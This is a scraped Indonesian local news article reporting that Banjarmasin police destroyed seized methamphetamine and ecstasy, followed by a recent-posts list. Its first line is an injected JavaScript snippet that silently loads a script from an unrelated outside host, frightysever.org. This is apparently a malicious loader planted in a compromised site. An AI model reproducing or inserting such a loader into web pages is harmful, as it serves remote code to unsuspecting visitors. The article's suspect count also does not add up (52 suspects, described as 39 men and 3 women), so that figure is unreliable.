(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Sabu 8 Kg dan Ribuan Pil Ekstasi Dimusnahkan Polres Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Resor (Polres) Kota Banjarmasin melakukan pemusnahan barang bukti narkoba hasil dari pengungkapan puluhan kasus.

Sebanyak 8,6 kg sabu dimusnahkan beserta ribuan pil ekstasi, dan serbuk ekstasi.

Pemusnahan dilakukan dengan cara diblender kemudian dilarutkan dengan air deterjen dan dibuang ke dalam pembuangan air.

Kegiatan pemusnahan yang dilaksanakan pada Jumat (6/7/2024), di Mapolres Kota Banjarmasin itu dipimpin Wakapolres Banjarmasin AKBP Arwin Amrih Wientama didampingi Kasat Resnarkoba Kompol Prawira Bala Putra Dewa.

Baca juga: Fiqih Disabilitas, Teman Tuli Banjarbaru Diajari Salat dan Bacaan Wajib Pakai Isyarat

“Barang bukti yang dimusnahkan sabu seberat 8.662,31 gram, ekstasi sebanyak 2.146 butir, dan serbuk ekstasi seberat 15,47 gram,” kata AKBP Arwin.

Wakapolres mengungkapkan, barang bukti yang nilainya mencapai Rp14 miliar itu menurutnya merupakan hasil pengungkapan kasus periode April sampai dengan Juli 2024 dari 40 kasus.

Selain mengamankan barang butii narkoba, 52 tersangka berhasil diamankan oleh Satuan dan Polsek jajaran Polres Kota Banjarmasin. Terdiri dari 39 orang laki-laki dan 3 perempuan.

Diungkapkan AKBP Arwin, dengan adanya pengungkapan dan pemusnahan barang bukti tersebut, pihaknya berhasil menyelamatkan ratusan ribu jiwa warga dari bahaya penyalahgunaan narkoba.

Baca juga: Hiswana Migas Kalsel Tak Temukan Agen dan Pangkalan Nakal

“Pemusnahan barang bukti itu berhasil menyelamatkan sebanyak 132.078 jiwa dari bahaya narkoba. Dengan estimasi 1 gram sabu dapat dipakai 15 orang dan 1 butir ekstasi dapat dipakai 1 orang,” katanya.

Lanjut Wakapolres, pihaknya mengimbau masyarakat agar berhati hari dan waspada dengan bahaya narkoba serta jangan sampai menjadi korban maupun pelaku karena dapat merugikan diri sendiri dan orang lain.

Tak lupa Kepolisian kata AKBP Arwin, mengucapkan terima kasih terhadap peran masyarakat serta stakeholder yang telah berkerjasama membantu polisi dalam melakukan pengungkapan.

Kegiatan pemusnahan juga dihadiri perwakilan dari Pengadilan Negeri (PN) Banjarmasin, Kejaksaan Negeri Banjarmasin, BNN Kota Banjarmasin, hingga Kantor Hukum atau LKBH. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

2 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

4 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

5 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

5 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

13 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.